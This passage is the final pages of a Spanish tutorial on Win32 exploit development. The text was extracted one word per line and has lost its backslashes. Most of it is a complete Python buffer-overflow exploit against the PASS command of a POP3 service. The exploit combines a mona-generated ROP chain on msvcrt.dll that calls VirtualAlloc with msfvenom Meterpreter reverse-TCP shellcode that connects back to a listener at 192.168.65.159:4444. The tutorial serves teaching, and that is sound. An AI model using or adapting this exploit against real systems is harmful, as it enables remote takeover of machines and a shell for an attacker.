necesario
meter
entre
este
“gadget”
y
nuestro
“rop_chain”
4
bytes
de
relleno.
buffer
+=
struct.pack('<I',
0xffffffff)
Así
queda
nuestro
exploit
final.
import
sys
import
socket
import
struct
#
BadChars
=
"x00x0ax0d"
#
msfvenom
-‐p
windows/meterpreter/reverse_tcp
LHOST=192.168.65.159
LPORT=4444
-‐b'x00x0ax0d'
-‐-‐format
c
#Attempting
to
encode
payload
with
1
iterations
of
x86/shikata_ga_nai
#x86/shikata_ga_nai
succeeded
with
size
314
(iteration=0)
shellcode=("xdbxcdxbax74x92xddx38xd9x74x24xf4x5bx33xc9x
b1"
"x48x31x53x1ax03x53x1ax83xebxfcxe2x81x6ex35xbe"
"x69x8fxc6xdfxe0x6axf7xcdx96xffxaaxc1xddx52x47"
"xa9xb3x46xdcxdfx1bx68x55x55x7dx47x66x5bx41x0b"
"xa4xfdx3dx56xf9xddx7cx99x0cx1fxb9xc4xffx4dx12"
"x82x52x62x17xd6x6ex09x6bxc7xf6xeex39xe6xd7xa0"
"x36xb1xf7x43x9bxc9xb1x5bxf8xf2x08xd7xcax81x8a"
"x31x03x69xbdx7dxcfx54x71x70x0ex90xb6x6bx65xea"
"xc4x16x7dx29xb6xccx08xacx10x86xaax14xa0x4bx2c"
"xdexaex20x3bxb8xb2xb7xe8xb2xcfx3cx0fx15x46x06"
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 33 de 35
34. Desarrollo de Exploits en Win32
"x2bxb1x02xdcx52xe0xeexb3x6bxf2x57x6bxc9x78x75"
"x78x64x23x12x4dx44xdcxe2xd9xdfxafxd0x46x4bx38"
"x59x0ex55xbfx9ex25x21x2fx61xc6x51x79xa6x92x01"
"x11x0fx9bxcaxe1xb0x4ex5cxb2x1ex21x1cx62xdfx91"
"xf4x68xd0xcexe4x92x3ax67x8ex69xadx48xe6x33xb2"
"x21xf4xb3xddxedx71x55xb7x1dxd7xcdx20x87x72x85"
"xd1x48xa9xe3xd2xc3x5dx13x9cx23x28x07x49xc4x67"
"x75xdcxdbx52x10xe1x49x58xb3xb6xe5x62xe2xf1xa9"
"x9dxc1x89x60x0bxaaxe5x8cxdbx2axf6xdaxb1x2ax9e"
"xbaxe1x78xbbxc4x3cxedx10x51xbex44xc4xf2xd6x6a"
"x33x34x79x94x16xc4x46x43x5fx42xbexe1xb3x8e")
def
create_rop_chain():
#
rop
chain
generated
with
mona.py
-‐
www.corelan.be
rop_gadgets
=
[
0x77c32aed,
#
POP
EBP
#
RETN
[msvcrt.dll]
0x77c32aed,
#
skip
4
bytes
[msvcrt.dll]
0x77c46e9d,
#
POP
EBX
#
RETN
[msvcrt.dll]
0xffffffff,
#
0x77c127e1,
#
INC
EBX
#
RETN
[msvcrt.dll]
0x77c127e1,
#
INC
EBX
#
RETN
[msvcrt.dll]
0x77c3b860,
#
POP
EAX
#
RETN
[msvcrt.dll]
0x2cfe1467,
#
put
delta
into
eax
(-‐>
put
0x00001000
into
edx)
0x77c4eb80,
#
ADD
EAX,75C13B66
#
ADD
EAX,5D40C033
#
RETN
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 34 de 35
[msvcrt.dll]
0x77c58fbc,
#
XCHG
EAX,EDX
#
RETN
[msvcrt.dll]
0x77c4e0da,
#
POP
EAX
#
RETN
[msvcrt.dll]
0x2cfe04a7,
#
put
delta
into
eax
(-‐>
put
0x00000040
into
ecx)
0x77c4eb80,
#
ADD
EAX,75C13B66
#
ADD
EAX,5D40C033
#
RETN
[msvcrt.dll]
0x77c14001,
#
XCHG
EAX,ECX
#
RETN
[msvcrt.dll]
0x77c47cde,
#
POP
EDI
#
RETN
[msvcrt.dll]
0x77c47a42,
#
RETN
(ROP
NOP)
[msvcrt.dll]
0x77c22666,
#
POP
ESI
#
RETN
[msvcrt.dll]
0x77c2aacc,
#
JMP
[EAX]
[msvcrt.dll]
0x77c4debf,
#
POP
EAX
#
RETN
[msvcrt.dll]
0x77c1110c,
#
ptr
to
&VirtualAlloc()
[IAT
msvcrt.dll]
0x77c12df9,
#
PUSHAD
#
RETN
[msvcrt.dll]
0x77c35459,
#
ptr
to
'push
esp
#
ret
'
[msvcrt.dll]
]
return
''.join(struct.pack('<I',
_)
for
_
in
rop_gadgets)
eip
=
struct.pack('<I',
0x77c46027)
#0x77c46027
#
POP
ECX
#
RETN
rop_chain
=
create_rop_chain()
buff_size
=
6000
35. Desarrollo de Exploits en Win32
buffer
='A'*4654
buffer
+=
eip
buffer
+=
struct.pack('<I',
0xffffffff)
#
Valor
de
relleno
para
meter
en
ECX.
buffer
+=
rop_chain
buffer
+=
'x81xc4xc0xfdxffxff'
#
add
esp,-‐240h
(movemos
ESP
lejos
por
encima
de
EIP)
buffer
+=
shellcode
buffer
+=
'C'*(buff_size
-‐
len(buffer))
HOST
=
'127.0.0.1'
PORT
=
110
s
=
socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
s.connect((HOST,
PORT))
data
=
s.recv(1024)
print
'Received',
repr(data)
s.send('USER
username'+'rn')
data
=
s.recv(1024)
print
'Received',
repr(data)
s.send('PASS
'
+
buffer
+
'rn')
s.close()
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 35 de 35
Pwned!!!!!